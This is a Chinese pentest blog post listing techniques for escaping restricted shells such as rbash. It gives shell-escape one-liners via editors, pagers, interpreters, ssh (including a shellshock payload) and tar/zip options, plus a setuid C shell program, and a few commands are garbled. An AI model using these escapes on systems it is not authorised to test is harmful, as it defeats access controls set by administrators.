rbash限制突破总结

有些渗透中会遇到登陆一个低权限shell后发现只能直线有限的命令,然后看下当前用户的shell,发现是rbash,即受限制的bash,经过网络查找,找到如下一些方式突破rbash限制

常见的受限制 shell 有:rbash、rksh、rsh、lshell

*以下内容节选自http://www.4hou.com/penetration/11674.html

一、枚举Linux环境
枚举是找到突破方法的重要组成部分。我们需要枚举Linux环境来检测为了绕过rbash我们可以做哪些事。
在正式进行绕过测试之前,我们需要进行以下操作:
1、首先,我们必须检查可用命令,像cd、ls、echo等
2、接下来我们要检查常见的操作符,像>、>>、<、|
3、然后对可用的编程语言进行检查,如perl、ruby、python等
4、通过sudo -l命令检查我们可以使用root权限运行哪些命令
5、使用SUID perm检查文件或命令。
6、使用echo $SHELL命令检查当前使用的是什么shell(90%得到的结果是rbash)
7、使用env或者printenv命令检查环境变量
通过以上操作,我们已收集到一些游泳的信息,接下来尝试一下通用的利用方法。
二、通用利用技巧
1、如果"/"命令可用的话,运行/bin/sh或者/bin/bash
2、运行cp命令,将/bin/sh或者/bin/bash复制到当前目录
3、在ftp中运行!/bin/sh或者!/bin/bash,如下图所示

渗透技巧——如何逃逸Linux的受限制shell执行任意命令

4、在gdb中运行!/bin/sh或者!/bin/bash

5、在more、man、less中运行!/bin/sh或者!/bin/bash
6、在vim/vi中运行!/bin/sh或者!/bin/bash
7、在rvim中执行:python import os; os.system("/bin/bash )
8、scp -S /path/yourscript x y:
9、awk 'BEGIN {system("/bin/sh or /bin/bash")}'
10、find / -name test -exec /bin/sh or /bin/bash \;
其中第6、7、8几种方法暂未在本地复现。
三、编程语言技巧
利用常见的编程语言解释器实现受限制shell的绕过
1、使用except spawn
2、python -c 'import os; os.system("/bin/sh")'
3、php -a then exec("sh -i");
4、perl -e 'exec "/bin/sh";'
5、Lua:os.execute('/bin/sh').
6、ruby:exec "/bin/sh"
7、python: echo os.system('/bin/bash')
四、高级利用技巧
1、ssh username@IP – t "/bin/sh" or "/bin/bash"
2、ssh username@IP -t "bash –noprofile"
3、ssh username@IP -t "() { :; }; /bin/bash" (shellshock)
4、ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
5、git帮助状态下通过!/bin/bash进入交互式shell
6、pico -s "/bin/bash"进入编辑器写入/bin/bash然后按ctrl + T键
7、zip /tmp/test.zip /tmp/test -T –unzip-command="sh -c /bin/bash"
8、tar cf /dev/null testfile –checkpoint=1 –checkpointaction=exec=/bin/bash
9、c setuid shell:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc,char **argv,char **envp)
{
    setresgid(getegid(),getegid(),getegid());
    setresuid(geteuid(),geteuid(),geteuid());
    
 execve("/bin/sh",argv,envp);
 return 0;
}

 

 

*经过个人在渗透中的反复利用,发现当可以ssh登录时,以下这个方法效果最好,也最易利用
root@kali:~# ssh guest@x.x.x.x -t "python -c 'import pty;pty.spawn(\"/bin/bash\")'"

 lshell的话,echo os.system("/bin/bash")最好

 

posted @ 2019-01-04 13:11  隐念笎  阅读(522)  评论(0编辑  收藏  举报